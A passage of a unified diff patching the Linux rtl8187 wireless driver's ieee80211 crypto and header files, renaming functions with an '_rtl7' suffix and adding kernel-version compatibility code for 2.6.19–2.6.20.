u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; @@ -396,7 +404,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +428,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +445,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt.h rtl8187_txpower/ieee80211/ieee80211_crypt.h --- rtl8187_orig/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt.h 2007-02-26 03:05:12.091489906 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_orig/ieee80211/ieee80211_crypt_tkip.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_tkip.c 2007-02-26 03:05:15.841546474 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -62,7 +70,7 @@ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -101,7 +109,7 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; if (_priv && _priv->tfm_michael) @@ -200,7 +208,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +230,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +276,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -283,11 +291,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -325,7 +333,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -382,10 +390,10 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; @@ -428,10 +436,14 @@ } -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { +#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20) + struct hash_desc desc; +#endif struct scatterlist sg[2]; + int ret=0; if (tkey->tfm_michael == NULL) { printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); @@ -445,15 +457,24 @@ sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) crypto_digest_init(tkey->tfm_michael); crypto_digest_setkey(tkey->tfm_michael, key, 8); crypto_digest_update(tkey->tfm_michael, sg, 2); crypto_digest_final(tkey->tfm_michael, mic); +#else + if (crypto_hash_setkey(tkey->tfm_michael, key, 8)) + return -1; - return 0; + desc.tfm = tkey->tfm_michael; + desc.flags = 0; + ret = crypto_hash_digest(&desc, sg, data_len + 16, mic); +#endif + + return ret; } -static void michael_mic_hdr(struct sk_buff *skb, u8 *hdr) +static void michael_mic_hdr_rtl7(struct sk_buff *skb, u8 *hdr) { struct ieee80211_hdr *hdr11; @@ -483,7 +504,7 @@ } -static int ieee80211_michael_mic_add(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_michael_mic_add_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 *pos; @@ -495,9 +516,9 @@ return -1; } - michael_mic_hdr(skb, tkey->tx_hdr); + michael_mic_hdr_rtl7(skb, tkey->tx_hdr); pos = skb_put(skb, 8); - if (michael_mic(tkey, &tkey->key[16], tkey->tx_hdr, + if (michael_mic_rtl7(tkey, &tkey->key[16], tkey->tx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) return -1; @@ -506,7 +527,7 @@ #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +548,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +564,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +572,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,8 +581,8 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { @@ -572,7 +593,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,7 +609,7 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; @@ -618,7 +639,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +669,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +696,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_crypt_wep.c 2007-02-26 03:05:15.881547078 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -40,7 +48,7 @@ }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -72,7 +80,7 @@ } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; if (_priv && _priv->tfm) @@ -87,7 +95,7 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; @@ -151,7 +159,7 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; @@ -203,7 +211,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +225,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +238,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +247,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-02-26 03:05:12.121490358 +0100 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union 